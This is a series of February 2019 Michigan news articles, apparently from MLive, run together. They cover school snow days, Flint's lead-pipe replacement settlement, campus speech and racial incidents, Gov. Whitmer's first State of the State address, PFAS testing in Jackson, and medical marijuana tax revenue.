Kristy Spann, superintendent of Bentley Community Schools, said districts would have to submit a form for an alternate day. The form would go to the state Department of Education for approval.

Bentley schools applied this week that would make the next day classes are in session the new count day.

Districts are allowed 10 days for students with an unexcused absence, 30 days with an excused absence, and 45 days if a student is suspended at the time of the count day.

Ranae Galsterer, superintendent of Mt. Morris Public Schools, is confident the issue would be taken care of quickly should the weather scenario lead to classes being canceled mid-week.

Im sure that all superintendents assistants/secretaries are prepared, she said. Our (Intermediate School District) does and excellent job of organization and preparedness for situations such as this.

The relentless winter has led some districts to cancel school upwards of twice the allotted six days and shift calendars to accommodate the necessary 180 days of instruction.

Some relief may be on the way though via legislative efforts at the state level.

Michigan Senate Minority Leader Jim Ananich, D-Flint, is working on legislation to not count snow days that occurred under the state of emergency declaration by Gov. Gretchen Whitmer during a bitter cold snap in January.

Hes also mulling a plan to forgive any days over the limit for all public school districts just this school year because of the extreme weather.

In the House, state Rep. Ben Frederick, R-Owosso, is also working on legislation to hold school districts harmless for closures that occur during a declared state of emergency.

When the weather is so bad emergency officials are telling people to stay off the roads in the interest of public safety, it makes good sense to forgive those days," Frederick said.

School districts can apply for a waiver that would give them three additional forgiven days, but superintendents must explain why they need the time and why theyre not able to reschedule.

In an interview with MLive ahead of the State of the State address, Whitmer said shes discussing the matter with the state Department of Education, but doesnt believe schools should feel any obligation to be in session during a state of emergency.

Its not their fault, she said. Its certainly not even a judgement call that was within their ability, and I dont think they should be held against them.

However, a number of school districts have shifted their calendars to try and make up some days off.

Bentley Community Schools made the move to add two days -- April 22 and June 14  to its calendar as the district had reached 11 days off prior to Tuesdays cancellation.

With two additional days already built into Lapeer Community Schools calendar for potential make-up dates, the district has now scheduled classes on April 22 and May 24 and applied for the state waiver.

Davison schools decided to make Friday, Feb. 15 a regular day of school to help make up one of the days off after putting out a survey to parents with the idea and getting 87 percent support from the 3,264 responses.

That being said, we know that some of you have already made other plans for this day and we apologize for any inconvenience this may cause, said Kevin Brown, the districts superintendent, in a statement.

Brown noted officials are working with teachers to identify alternative options such as adding a day during the districts May intersession or other current non-school days.

He also pointed out the week of spring break in late March will remain the same as the district is legally mandated to hold the same vacation period as are all other schools within the intermediate school district.FLINT, MI -- The city has agreed to prioritize remaining water service line replacements based on which homes are most likely to have lead or galvanized steel pipes, returning to an approach it successfully used before 2018.

The City Council became the last party to agree to the modification of a settlement agreement with the Concerned Pastors for Social Action and others late Monday, Feb. 11, after two closed-doors meetings with city attorneys.

On Tuesday, Feb. 12, the National Resources Defense Council announced the deal, saying in a news release that it imposes detailed requirements on the city that are aimed at improving the better efficiency in Flints pipe replacement program, which lagged at finding lead and galvanized pipes in 2018.

The city has agreed to use a statistical model developed by Eric Schwartz of the University of Michigan and Jacob Abernethy from the Georgia Institute of Technology in 2019 -- a program that Flints most recent program manager has said wasnt brought to the companys attention in 2018.

Instead, other methods were used to assign 3,000 homes to several pipe-replacement contractors, and the city said late last year that about 80 percent of the service lines contractors dug up were made of copper -- not requiring replacement.

The cost of digging up those lines increased as the city also abandoned its use of hydrovac excavations, which use high-pressure water rather than traditional excavation, to determine the composition of water lines.

A statistical analysis submitted to U.S. District Court, where the new agreement still must be approved, showed that the 2018 method found lead or galvanized service lines at a less than 20 percent success rate -- worse than randomly picking a home for the work.

As a result, the city projected it would spend nearly $20 million to dig up and rebury lines that did not require replacement.

Lead and galvanized service lines were damaged by improperly treated Flint River water used from April 2014 until October 2015 in the city, university researchers have said.

A 2017 lawsuit filed against the state and the city by the pastors, NRDC, American Civil Liberties Union and Flint resident Melissa Mays resulted in a $97-million settlement that spelled out specific steps the city must take to address the water crisis.

The city is using state and federal funds to carry out the service line replacement program, which is part of the settlement.

In December, City Attorney Angela Wheeler told the City Council that talks had started with the NRDC to reincorporate the statistical model in the 2019 pipe replacement program.

Schwartz and Abernethy developed the model after learning of Flints difficulty in locating potentially hazardous service lines.

Their statistical model was shelved by AECOM, a Los Angeles-based engineering firm contracted for $5 million to oversee Flints FAST Start program in December 2017.

The company ended its oversight of the program in January and the city has requested proposals from companies interested in managing the work in 2019.

During both committee and regular meetings Monday, members of the City Council met with Wheeler to discuss the pipe-replacement settlement filed Tuesday in federal court.

Wheeler told council all other parties to the agreement had already approved it.

Council members approved the new agreement 6-0 after their second closed session with the city attorney.

Members Allan Griggs, Eva Worthing and Kate Fields were absent from the vote.

Fields left the council meeting, saying the decision should have been made after members and citizens had time to consider the new arrangement.

The NRDC issued a news release Tuesday, saying the city agreed to conduct excavations and service line replacements at homes on the priority list determined by Schwartz and Abernethys method subject to limited exceptions.

The new agreement says that as of Dec. 13, just over 9,000 households remained in Flint that had yet to have service lines excavated and replaced if appropriate.

Our primary goal continues to be getting the remaining lead pipes out of Flint as quickly as possible. This is a critical step towards accomplishing that, the Rev. Allen C. Overton of the Concerned Pastors said in a statement issued by the NRDC.

MLive-The Flint Journal could not immediately reach a spokeswoman for Mayor Karen Weaver for comment.ANN ARBOR, MI - Washtenaw County schools are adjusting their schedules due to snow days, and at least one superintendent is considering an earlier start to future school years to compensate for winter cancellations.

Icy roads and inclement weather forced some Washtenaw County schools to close on Wednesday, Feb. 13 -- the day public schools are supposed to report their student attendance to the state.

Schools that were not in session Wednesday requested waivers from the Michigan Department of Education to have their count day the next time theyre in session. Student enrollment reported on spring and fall count days each year is used to determine how much state funding public school districts receive.

Some Washtenaw County schools have missed nine school days so far this winter.

Schools can cancel up to six days without needing to make up the instructional time, and school officials can apply for a waiver from the state to have an additional three missed days forgiven.

Chelsea Public Schools, Manchester Community Schools, Milan Area Schools and Ypsilanti Community Schools -- which were all closed Wednesday and have missed nine days of school so far -- will apply for waivers so they dont have to make up the three extra days.

Ann Arbor Public Schools Superintendent Jeanice Swift is waiting to see if state lawmakers will forgive schools for days canceled during a state of emergency, such as the state experienced at the end of January.

We are all very concerned about the disruption to learning we have experienced with so many winter weather days of school missed in Ann Arbor and across Michigan during this January-February time, Swift wrote in an email. Over recent days we have been engaged with both State Superintendent (Sheila) Alles and Governor (Gretchen) Whitmer, both of whom share our concern and frustration.

The high number of winter cancellations is one reason to start the school year before Labor Day and get instructional time in early, rather than add make-up days at the end of the school year, Manchester Community Schools Superintendent Nick Steinmetz said.

While we already have a tentative 2019-2020 school year calendar, this winter has heightened the conversations for the 2020-2021 school year and a pre-Labor Day start, he said.

State law requires school districts to start their academic year after Labor Day, but schools can apply for waivers that allow for an earlier start date.

Some Ypsilanti school are on a balanced calendar and start prior to Labor Day, and Saline Area Schools is switching to an earlier start date in the 2019-20 school year.ANN ARBOR, MI  When a group of black University of Michigan students had name tags on their dorm room doors vandalized with racist language in fall 2017, it was labeled by many during campus protests as hate speech.

Despite many finding the language offensive, a UM policy wouldnt allow university or student housing staff to erase or remove the language - and it still doesnt.

Yet, UM has been under scrutiny since a lawsuit was filed against it by Washington, D.C.-based nonprofit group Speech First alleging the universitys disciplinary codes prohibiting harassment and bullying limit "staggering amounts of protected speech and expression.

A federal judge denied Speech Firsts effort to immediately end UMs use of a Bias Response Team that it claimed hindered free speech on campus.

In response to the lawsuit, however, the university has provided clarity to its definitions of bullying and harassment with an emphasis on the protection of free speech, including in its residence halls.

"As expectations change, from all over the university community, we took the opportunity to reinforce our training, to make it perfectly clear that free speech is protected, said Amir Baghdadchi, senior associate director of University Housing.

The university has long had a commitment to free speech, and that naturally extends to the communities in our residence halls. Our policy hasnt changed. University staff do not suppress speech, but we do not ignore troubling speech either; we address it. Student staff, including resident advisers and diversity peer educators, are part of that same commitment.

Anyone who has watched the UM campus over the last few years knows it has been especially alive to issues of free speech, Baghdadchi said.

That makes having strong response protocols in place for residence hall staff particularly important in situations where students find something troubling, including speech, he said.

First and foremost, when it comes to speech, we dont censor or suppress it. We respond, he said. And the response is the most important part. If you think about it, erasing speech does nothing to erase the fact that an individual, your neighbor, holds a particular viewpoint.

People working for a public university can't selectively silence speech based on its viewpoint, unless the speech crosses some extreme boundaries, according to University of Florida professor Frank LoMonte, director of The Brechner Center for Freedom of Information.

Examples of this include a threat of violence or an incitement directed at causing other people to commit lawless acts, LoMonte said, noting that its hard to imagine how a message on a whiteboard could cross those First Amendment boundaries.

One of the fundamental principles of the First Amendment, LoMonte said, is that people can't be penalized for violating standards too vague for a reasonable person to know what is and is not protected.

Hate speech does not have any legally understood definition, and its so subjective that it could expose people to punishment for even a sharply worded political statement, LoMonte said. People often use strong language in expressing deeply felt political beliefs, and strong may translate to hateful to the ears of some listeners.

Baghdadchi did note other students in residence halls are not prohibited from erasing speech they find offensive, and that UM housing staff do not censure or police that kind of protest.YPSILANTI, MI  Shayler Barnes Jr. understands the frustration black students at Eastern Michigan University are going through with another racially-charged incident occurring on campus this week.

Theyve shared their feelings with him since learning a black doll was found hanging from a shower rod inside a dorm room on Monday, just like they did when a series of racist graffiti incidents shook the campus more than two years ago, Barnes said.

I cant help but feel the emotions students are feeling, which is being hurt, disappointed and tired, said Barnes, an EMU senior and current president of its Black Student Union. I think a lot of them are exhausted and fed up with the climate that continues to be cultivated at EMU.

A resident adviser in Best Hall found the doll inside a bathroom shared by suite mates on Feb. 11. The incident is being investigated by EMU Police and the Office of Wellness and Community Standards.

The female student who left the doll in the shower in the alleged incident is a resident of Best Hall, EMU Spokesman Geoff Larcom confirmed.

A statement from the university originally indicated the student was a guest of one of the suite mates. She placed the doll in the shower, telling investigators it was a prank that did not have malicious or racist intentions, according to a statement from the university.

While the alleged student characterized the incident as a prank, Larcom noted the university regards it as a serious, racist gesture that runs counter to the values of Eastern Michigan University.

The department of public safety is investigating the incident, doing interviews and establishing the full context for the purpose of submitting its investigation to the county prosecutor, which will then decide to issue actual charges if a crime has occurred, Larcom said.

Beyond pursuing discipline for the alleged perpetrator, Barnes said he hopes the university can continue to work with black students to create an environment of support when issues like these arise.

"I want them to not just listen and be stagnant pillars as incidents like these continue to swarm around us, and not be looking at this incident as something that has passed, Barnes said. I want them to acknowledge a culture that needs to be cultivated for the future.

EMU senior Jalen Griffin, a member of the black fraternity Iota Phi Theta, said he and other black students felt disrespected by the suspected students characterization of the incident being a prank.

Griffin hopes there will be opportunities for dialogue and meetings with both the student and university officials to address racial issues that persist on campus and attempt to remedy the situation.

I think its more effective if you sit down with a person face-to-face and digest the problem, Griffin said.

Larcom pointed to the EMU police investigation into previous racist graffiti incidents, which included more than 1,080 hours worked before identifying Eddie Curlin, a former EMU student who is black, as the perpetrator. Curlin was ordered to pay more than $2,000 to EMU and Capital One on three counts of malicious destruction of a building, and to serve two to five years in prison on four unrelated counts of identity theft.

"The university is paying attention to the safety concerns of the whole university, Larcom said. The university takes this very seriously and quickly started investigating the incident (after it occurred).Michigan Gov. Gretchen Whitmer called for additional equal rights protections during her State of the State address, highlighting protection against discrimination for LGBT people in Michigans civil rights law and equal pay for women as needed policy changes.

Building off her recent executive directives banning state government from discrimination on the basis of sexual orientation or gender identity and prohibiting employers in state government from asking applicants about their salary histories, Whitmer said the steps shes taken to give all Michigan residents equal footing should be applied statewide.

If we want Michigan to be a home for opportunity...it should be opportunity for all, in all workplaces, she said.

The Elliott-Larsen Civil Rights Act should be expanded to include protections for LGBT people statewide, Whitmer said: Nobody should ever be fired because of who they are or who they love.

"Itll help build and attract a talented, top-notch workforce," she continued.

On gender pay equity, Whitmer said if all employers stopped asking about womens salary history, the poverty rate among working women could be cut in half.

Attempts to expand the Elliott-Larsen Civil Rights Act have come up periodically in the legislature. A 2014 effort led by former Rep. Frank Foster - who was defeated by current House Speaker Chatfield, R-Levering, in a primary election that year - ultimately failed despite support from business leaders and advocacy groups around the state.

Both Chatfield and Senate Majority Leader Mike Shirkey, R Clark Lake, said following Whitmers address that they had no plans to take up changes to the Elliott-Larsen Civil Rights Act.

Ive been pretty clear on that issue - Ill never pass a bill or vote for a bill that I believe infringes on someones sincerely held religious beliefs, Chatfield said.

State Sen. Jeremy Moss, D-Southfield, said hes eager to work with a governor who sees eye-to-eye with him two of his top priorities - Elliott-Larsen reform and Freedom of Information Act reform.

He believes that if it were put up to a vote, expanding discrimination protections to include LGBT residents would have bipartisan support.

If we could gain enough cosponsors to show that this has broad bipartisan support, then its just going to show that the conservative leadership is just out of step on this issue, Moss said.

Rep. Tenisha Yancey, D-Grosse Pointe, said she was encouraged by Whitmers calls for updated policies on equal pay for women, particularly when it comes to addressing the even more significant gaps women minority communities face.

As a woman, Whitmer will understand the needs that we have to try to level the playing fields on pay, Yancey said.

Whitmers comments on civil rights and equal pay came as part of her first State of the State address, which she delivered Tuesday at the state Capitol in Lansing to a joint session of the state Legislature.

She spoke frequently about the poor state of Michigans roads, and also pinpointed the states education and skills education as a crisis that needed solving.

On the subject of job skills, she announced a plan to both reconnect Michiganders with new skill sets companies need and establish the MI Opportunity scholarship. The scholarship will fund a two-year community college degree or help reduce costs of a four-year degree by providing two years of financial assistance qualified Michigan students.MILAN Mich. -- FBI agents say they found homemade explosive devices, drugs and more than $50,000 cash in the home of a Milan man accused of wire fraud, according to WXYZ Detroit. Christian Newby was arrested on Jan. 31 at his home and is accused of running an elaborate scheme to use stolen credit cards to buy train tickets and sell them online.

Federal agents allege Newby used the stolen cards to buy Amtrak train tickets, then he would cancel those tickets in order to receive a voucher for future travel. He would then allegedly sell those vouchers online and keep the money. When agents searched his house during the arrest, they discovered more than expected.

WXYZ reports an affidavit claims several homemade explosive devices, two assault style rifles and more than $50,000 cash were found in the home along with fentanyl, MDMA, amphetamine and methamphetamine. While Newby has been charged with wire fraud, he has not been charged with any crimes related to the weapons or drugs.

Family members also pointed authorities to Newbys grandmothers house, where officers allegedly discovered more bombs and materials to make them and another $60,000 in cash.Michigans Republican Senate leader said hed be open to new revenue for road funding - with the caveat that it shouldnt be the first step - following Gov. Gretchen Whitmers State of the State promise to deliver a real solution for fixing infrastructure.

During a Wednesday morning press conference with House Speaker Lee Chatfield, R-Levering, Shirkey said he sees the path to adequate infrastructure funding as a three-step process: agreeing on what the goal is, addressing any re-prioritization that can be done and then tackling the revenue question. He said he doesnt believe the best ideas to do so have surfaced yet, but acknowledged that additional funding will be necessary.

Theres no way were going to fix this problem thats been 50 years in the making without coming up with new revenue for infrastructure, Shirkey said.

Chatfield said he wants to look at other areas we can save within our state budget," examining how gas tax is currently accumulated and making sure funds are being adequately spent instead of just going back to the taxpayers and their pockets.

Whitmer began transitioning her campaign promise to fix the damn roads into a policy plan during her first State of the State address, asking the audience to picture the buses of school kids and families driving over scary stretches of broken infrastructure. She didnt get into funding specifics, but noted a real solution for fixing roads and other infrastructure would be forthcoming in her budget proposal.

She was critical of recent legislative attempts to fix the problem: Incremental fund shifts, like weve seen in recent years, dont fix the problem. They only slow our decline.

Both Shirkey and Chatfield defended the 2015 package that ultimately generated $1.2 billion per year through fuel tax and registration fee increases and general fund revenue. Shirkey said tackling the issue piecemeal was the right way to do it, and Chatfield suggested Whitmer should unveil her plan before criticizing whats been done too harshly.

Its much easier to poison a well than to dig one, meaning its easy to criticize a plan when you dont have one yourself, Chatfield said. "I look forward to hearing what that plan is and continuing those negotiations with the governor and within the legislature.

Shirkey and Chatfields comments on Whitmers call to fix the roads and other themes touched on during her State of the State address came Wednesday morning during their formal response to Whitmers Tuesday night speech.

Chatfield said he appreciated Whitmers consistent messaging in her address, but thought Whitmer missed some opportunities to discuss lowering car insurance rates and updating the states criminal justice system. He also said he hopes the governor can successfully pivot her campaign trail ideas into sound bipartisan policy.

I think many of the issues were identified of challenges that our state is facing, but I do believe there was still some campaign trail rhetoric in that speech, he said. However, I look forward to working with the governor on the issues she did identify and find a way that we can have real consensus on it.

With a few exceptions, Whitmer and legislative leaders agree on the biggest opportunities for Michigan, Shirkey said, adding, we have some differences in how.

Shirkey said he considered some of Whitmers comments on addressing PFAS, climate change and environmental justice problematic, however, because he believes additional research needs to be done on the extent and scope of the environmental issues the state is facing.

We need to increase our wisdom before we make any decisions, Shirkey said.Legislation requiring a criminal conviction prior to permanent police seizures for property valued under $50,000 was passed by the state Senate in a 36-2 vote Wednesday.

Currently, police are allowed to seize property linked to an alleged crime even if the owner is never charged or convicted.

Senate Bill 2, sponsored by Sen. Peter Lucido, R-Shelby Twp., would prevent law enforcement agencies who have seized property valued at less than $50,000 as part of an investigation from selling, destroying or keeping the property absent a criminal conviction or plea. The bill also includes provisions for people to file a written claim for objecting to forfeiture.

More than $13.1 million in cash and property was forfeited to law enforcement agencies across Michigan in 2017, according to the latest Asset Forfeiture Report compiled by the Michigan State Police.

Lucido said the $50,000 threshold was a compromise with members of the law enforcement community, who he said were concerned about the impact on drug cases.

I dont necessarily agree all the way, he said, but you know, a start is a start, and the direction is right."

Lucido said hes already been in talks with the House on the legislation and believes the bill is fair to both law enforcement and people exercising their due process rights.

If youre utilizing this as a sword to go ahead and slash an individual, shame on you, Lucido said. You should be looking at and being a part of a process that says we are here to protect and serve, not take."

The bill now heads to the House Judiciary Committee, and would need to pass the House and be signed by the governor to become law.

Similar legislation was introduced in the House as the first bills of the session, and the idea was praised by House Speaker Lee Chatfield, R-Levering, as much-needed reform.

Attorney General Dana Nessel also supports the concept. In a January press conference, Nessel cited her experience dealing with civil asset forfeiture cases both as a prosecutor and in private practice and said its currently very, very difficult to fight the system when people who havent been charged with a crime have their assets taken from them.

The legislation builds on previous efforts to modify Michigans civil asset forfeiture procedure. In 2015, Gov. Rick Snyder signed a seven-bill package into law that increased the burden of proof required to keep confiscated property from drug and public nuisance forfeiture cases, required clear and convincing evidence that it was related to a crime and compelled law enforcement agencies to keep track of their forfeiture cases and proceeds.State officials will continue to test a long-contaminated site in Jackson where PFAS chemicals now are confirmed in the Grand River.

Testing samples taken January 18 from 12 different locations at and around the former Michner Plating show high levels of the per- and poly-fluorinated compounds at all 12 sites.

The highest reading reached 6,952 parts per trillion (ppt) on a portion of the northwest edge of the property at 520 N. Mechanic, west of Cooper and Ganson in central Jackson. The former factory borders the Grand River, which at 260 miles long is Michigans largest river.

Five surface water tests yielded low results for both PFOA and PFOS, the two forms of the chemicals that trigger cleanup standards for lakes and rivers in Michigan.

However, overall totals in the Grand River ranged from 1,759- to 2,019-ppt, according to data from the state Department of Environmental Quality. That includes locations both upstream and downstream, raising questions about the origins of the contamination.

It also may raise questions about what happens when a spectrum of PFAS is found in the states surface water. The combined PFAS results reflect a combination of all 24 compounds in the states testing lineup. Of those, only PFOA and PFOS prompt action by the Department of Environmental Quality, while 22 do not fall under cleanup standards.

The initial focus is further outlining exactly what will be found near the site and how far it spreads.

The DEQ through its Water Resources Division is planning to do some extensive water sampling in 2019 in the Grand River to track down the source or sources of the PFAS, said Don Hayduk, director of environmental health for the Jackson County Health Department.

So far, Hayduk said, the abandoned factory is the only active PFAS investigation in the Jackson area. State drinking water tests in Jackson show the chemicals are not found in 37 of 39 public sources; a level of 3-ppt was found in the remaining two. That compares to the lifetime health advisory of 70-ppt issued by the EPA.

Across Michigan, broad state-level testing has shown that at least 1.5 million people are drinking water with some form of the per- and poly-fluorinated compounds. At the same time, the state continues to identify sources where the chemicals are flowing into surface water that could impact drinking water supplies.

While the DEQ does not believe that contamination has affected any currently used drinking water aquifer, we are continuing to review records and are having discussions with others to confirm, according to the state.

Nearby properties are on municipal water systems, but residential wells are used both upstream and downstream beyond the water system boundaries.

The situation in Jackson carries some parallels to the investigation into PFAS in the Huron River, Hayduk said. In that situation, a factory in Wixom was found to be sending PFOS into the watershed through wastewater treatment.

One major difference, Hayduk noted: The levels are significantly lower.

The contamination at the Michner also is found in multiple locations, including groundwater. Among the recent high combined results -each between 4,000- and 5,000-ppt - were three from water found in flooded basements of the abandoned buildings that went through tax foreclosure and now are controlled by the state.

The test results from the basements include a range of PFOS from 2,400- to 2,800-ppt. That much PFOS represents at least 200 times the amount of the chemical allowed in surface water.

The propertys contamination was extensive enough that the Environmental Protection Agency came in to do an emergency cleanup in 2015. More recently, a DEQ spokesman said, no active mitigation is taking place.

But state officials will be evaluating the site further, for PFAS and other chemicals of concern, as well as to determine whether chemical vapors have traveled from the site to nearby buildings.

The volatilization to indoor air pathway is the focus of our current investigation as we determine the potential that soil gas/soil vapor maybe migrating off-site leading to potential exposure, according to the state.

That off-site sampling will start in March, the state said.Michigans newly regulated medical marijuana program is expected to bring in $18.2 million in sales tax revenue this fiscal year, according to treasury officials.

The Department of Treasury doesnt specifically track sales tax revenue from the program as it comes in monthly -- so it remains to be seen if the program will net that amount in 2019, said Ron Leix, treasury spokesman.

The state is embarking on its first full year of a licensed and regulated medical marijuana market. From October 2018 to Feb. 4 -- the first four months of sales tracked in the program -- a total of $30.2 million in medical marijuana was sold, according to the Bureau of Marijuana Regulation.

Theoretically, the state would have collected $1.8 million in sales tax during those four months if the standard six percent tax was applied. The nonpartisan Senate Fiscal Agency projected the program could collect up to $50 million a year in sales tax once the market establishes itself, according to its 2016 analysis of the Medical Marihuana Facilities Licensing Act.

Though theres cash coming in to the state, the launch of regulations on medical marijuana is off to a rocky start as 60 pounds of marijuana products have been recalled after failing lab testing. Almost 6,300 pounds of medical marijuana was sold from October 2018 to Feb. 4, according to the bureau.

The Bureau of Marijuana Regulation is processing tens of thousands of dollars in cash at a time as businesses bring in their sales tax payments monthly -- yet another sign of banking challenges for the marijuana industry.

James Campbell, owner of NUMBERS Professional Accounting Services in Royal Oak, has handled cannabis business taxes for 10 years in Michigan.

A lot of these guys are paying in cash, Campbell said of sales tax payments to the state. People show up with bundles of money.

Revenue from all of the states sales taxes is mostly allocated to the School Aid Fund, and a smaller portion is shared back with municipalities through its constitutional revenue sharing program -- though local officials have been critical in the past of how much money is actually returned to them.

In addition to the states six percent sales tax, medical marijuana is also subject to a three percent excise tax. To date the treasury has collected $112,800 from the excise tax, Leix said.

Though the Senate Fiscal Agency projected the three percent excise tax could eventually garner $24 million, that revenue stream will be short-lived. The excise tax ends March 6, due to a provision in the 2016 law that takes effect since marijuana was legalized for adult use in November.

Revenue from that tax is destined for the Medical Marihuana Excise Fund, of which 25 percent goes to local municipalities that agreed to allow medical marijuana facilities. The rest goes to county governments, first responders and police.

Another revenue stream for state officials are the licensing application fees and regulatory assessments. From Dec. 15, 2017, to present, businesses seeking medical marijuana licenses and those that have received licenses have paid the state $11.9 million, according to the Bureau of Marijuana Regulation.

That money is used to cover the administrations cost of overseeing and enforcing the program, as well as to pay other state offices for their services -- like the attorney general and state police; substance use disorder treatment and prevention programs; field sobriety test expenses and administrative costs of the Michigan Commission on Law Enforcement Standards.

Separately, the state has been making money off of the application fees for medical marijuana patients and for background checks for caregivers. In fiscal 2018, the state brought in nearly $7 million more in fee revenue than it needed to oversee the program, and gave $2.4 million of it to county sheriffs offices as grants. Regulatory officials are now proposing to reduce the medical marijuana card application fees and cut the background check fee for caregivers.

Provisioning centers with medical marijuana licenses -- as well as those applying for a license -- should be applying sales tax and paying it to the state, Campbell said. Licensed provisioning centers are also subject to federal income taxes, state corporate income tax and the soon-to-expire three percent excise tax.

Patients buying marijuana from medical caregivers should also be paying sales tax. Campbell doubts that will be enforced.

I just question, how do they plan on enforcing patients paying taxes on marijuana purchases from their caregiver? Campbell said. After eight years of growing 72 plants, a lot of caregivers got very, very good at growing good and robust plants that were high-yieldingOverages were just natural. Now theyre cut off from the wholesale market. Academically, theyre only supposed to sell to their five patients, but who knows whats going to happen with all that excess.

-- Amy Biolchini is the marijuana beat reporter for MLive. Contact her with questions, tips or comments at abiolch1@mlive.com. Read more from MLive about medical marijuana.Negaunee Township in Michigans Upper Peninsula was hit was a whopping 16.5 inches of snow in just 15 hours on Tuesday, Feb. 13.

The National Weather Service post in Marquette reports that snowfall started at 9 a.m. Tuesday, and that the 16.5 inches of snow beats the previous daily record of 13.5 inches set back in 1965. Records for Negaunee Township date back to 1961, according to the NWS. Negaunee Township is located between Ishpeming and Marquette in the U.P.

Daily maximum precipitation and snowfall records were set yesterday, on February 12th, at NWS Marquette in Negaunee... Posted by US National Weather Service Marquette Michigan on Tuesday, February 12, 2019

Related: Blowing snow creates whiteout, multi-car pileup conditions on Michigan highways

As expected, heaviest snowfall has occurred over the high terrain from the Huron Mountains through the Ishpeming/Negaunee areas toward Skandia as low-level winds favored strong upslope and lake enhancement, the NWS reports Wednesday morning.

Snowfall has actually been very impressive. Here at the NWS office in Negaunee Township, we set a daily snowfall record for Feb. 12 at 16.5 inches. Since midnight, weve likely tacked on several more inches of fluffy snow, so were likely over 20 inches for the event now.LANSING, MI -- Gov. Gretchen Whitmer delivers her first State of the State speech on Tuesday at the state Capitol in Lansing. Heres how to tune in.

How to watch: The governors office is posting a livestream, which will be live on her website slightly before 7 p.m. The web address is Michigan.gov/MISOTS19.

When to watch: The livestream will start slightly before 7 p.m. on Tuesday, Feb. 12, 2019, when her speech is expected to begin. Before that you may be able to catch some pomp and circumstance, including the procedure around packing the 148 members of the House and Senate, plus any guests, into the House chamber.

Whitmer re-scheduled the speech for Feb. 12 after President Donald Trump picked the original date she chose, Feb. 5, for his State of the Union address.

What to watch for: This is the governors first State of the State address, so Michigan will get to see how she approaches this formal, annual speech. She used her inauguration address to strike a bipartsian tone, and this speech could well reveal what issues she wants or needs buy-in on from the Republican-led legislature.

The speech comes in the middle of the first rift between Whitmer and legislative Republicans. The House overruled one of her executive orders reorganizing the Department of Environmental Quality last week, and the Senate is still considering whether to take it up.

The governor has said she plans to unveil her plan for debt-free community college as a way to help employers fill the skills gap, or the mismatch between skills the states employers need and skills the states residents have.

She also plans to address topics around K-12 education and roads.LANSING, MI -- Gov. Gretchen Whitmer brought her campaign promise to fix the damn roads to life in her first State of the State address Tuesday, highlighting the states infrastructure and education as two crises the state needs to address.

Whitmer spoke frequently about the poor state of Michigans roads constantly on the campaign trail, and painted a dire picture in her speech Tuesday. She asked listeners to picture the buses of school kids and families driving over scary stretches.

Right now we have crumbling bridges that have hundreds of temporary supports holding them up, Whitmer told the audience, which included state lawmakers and dignitaries.

The audience also included Michigan Supreme Court Chief Justice Bridget McCormack, Attorney General Dana Nessel and Secretary of State Jocelyn Benson -- a group Whitmer pointed out comprised a historic first, as all those offices were held by women.

In addressing the roads, Whitmer pointed to a report from the American Society of Civil Engineers giving Michigans infrastructure a D-plus and the roads specifically a D-minus.

While she didnt get into funding specifics, she did say her upcoming budget proposal would include a real solution for fixing Michigans roads and infrastructure. The recent attempts arent working, she said, and its hurting Michigans ability to attract businesses.

No one will invest in a state that doesnt invest in itself. Thats the hard truth. And lets be very clear: incremental fund-shifts, like weve seen in recent years, they just wont fix the problem, Whitmer said.

She urged Michigan residents and businesses to share their experiences with Michigans infrastructure on social media with the hashtag #FTDR.

I think you know what that stands for, she said, a nod to her campaign slogan of Fix the Damn Roads.

After the speech Senate Majority Leader Mike Shirkey, R-Clark Lake, said people werent expecting specifics, which would likely come out in the upcoming budget process.

We havent defined yet how much money were going to need for roads and for all of infrastructure, and we have not yet heard the best ideas, Shirkey said.

But the roads werent the only thing Whitmer identified as a crisis in the speech. She also pinpointed the states education and skills education as a crisis that needed solving.

She highlighted Michigans poor performance on third-grade literacy and Michigans decline in child literacy among all age groups. The problem wasnt the kids or the teachers, she said, but a generational failure of leadership.

She spoke directly to Michigan educators.

Youre not failing us. We have been failing you," she said.

She cited low growth in K-12 education funding in Michigan and the use of the School Aid Fund to pay for things outside of K-12 education.

On the subject of job skills, she announced a plan to both reconnect Michiganders with new skill sets companies need and establish the MI Opportunity scholarship. The scholarship will fund a two-year community college degree or help reduce the cost of a four-year degree by providing two years of financial assistance to qualified Michigan students.

It will be launched in the Spring and go into effect in 2020, Whitmer said, and making Michigan the first state in the Midwest to offer debt-free community college.

Every one of us needs skills to get into a good job, Whitmer said.

In her speech, Whitmer also touched on:

- Extending the Freedom of Information Act to cover the legislature and governors office.

- Extending discrimination protections to LGBTQ Michiganders

- The issue of PFAS contaminants, which she called urgent

- Her intention to keep with a tradition started by Gov. Rick Snyder and get the state budget passed before the legislature leaves for the summer

- A call to pass a hands-free driving law in MichiganThe U.S. Forest Service is delaying its ban of alcohol on sections of three Michigan rivers so it can work with local communities to address concerns.

The Huron-Manistee National Forests announced last week it planned to prohibit alcohol in the National Wild and Scenic River sections of the AuSable, Manistee, and Pine rivers, but now that wont happen until at least 2020, according to a news release.

Individuals and businesses throughout northern Michigan have expressed strong interest in partnering with the Forest Service to address ongoing public safety and environmental issues on our National Wild and Scenic Rivers, said Huron-Manistee National Forests Supervisor Leslie Auriemmo.

We welcome a practical, community-driven solution to these challenges.

The alcohol ban was intended to address persistent public safety issues and protect natural resources on the rivers, according to the U.S. Forest Service,.

But reaction to the decision was extremely mixed and largely negative from businesses that would be directly affected.

Gotts Lansing in Mio was particularly outspoken against the new policy, indicating they were caught completely off-guard by the decision. And they werent alone.

The policy, as it was written, would affect sections of Michigan river in the National Wild and Scenic River system, which accounts for 656.4 miles of Michigan river, or 1 percent of the states river miles.

The AuSable National Wild and Scenic River begins below Mio Pond and extends to the upper end of Alcona Pond. It makes up 23 miles of the 138-mile waterway that runs through Northern Michigan and enters Lake Huron.

The Manistee and Pine National Wild and Scenic Rivers are each 26 miles with the Manistee section running from Tippy Dam to the M-55 Bridge.

In its entirety, the Manistee River runs 190 miles through the southwestern Lower Peninsula before entering Lake Michigan in Manistee. Its tributary, the Pine River, is 53.6-miles long.

Instead of implementing the ban immediately, the Forest Service now says it will organize and chair a community working group consisting of small businesses, municipal officials, and private citizens from the National Wild and Scenic River corridors.

By May 2019, the working group will develop an action plan to restore public safety to those rivers.

The Forest Service will report regularly on the working groups activities and will continue to promote responsible use of public waters, according to a news release.

During the upcoming summer recreation season which runs from May 24 to Sept. 2., the Forest Service will work with community partners to implement the action plan.

If the action plan does not improve conditions upon the National Wild and Scenic Rivers, the Forest Service would consider implementing the alcohol closure order in 2020.

The Forest Service has a statutory obligation to protect the outstanding natural, cultural, and recreational values of our National Wild and Scenic Rivers, Auriemmo said.

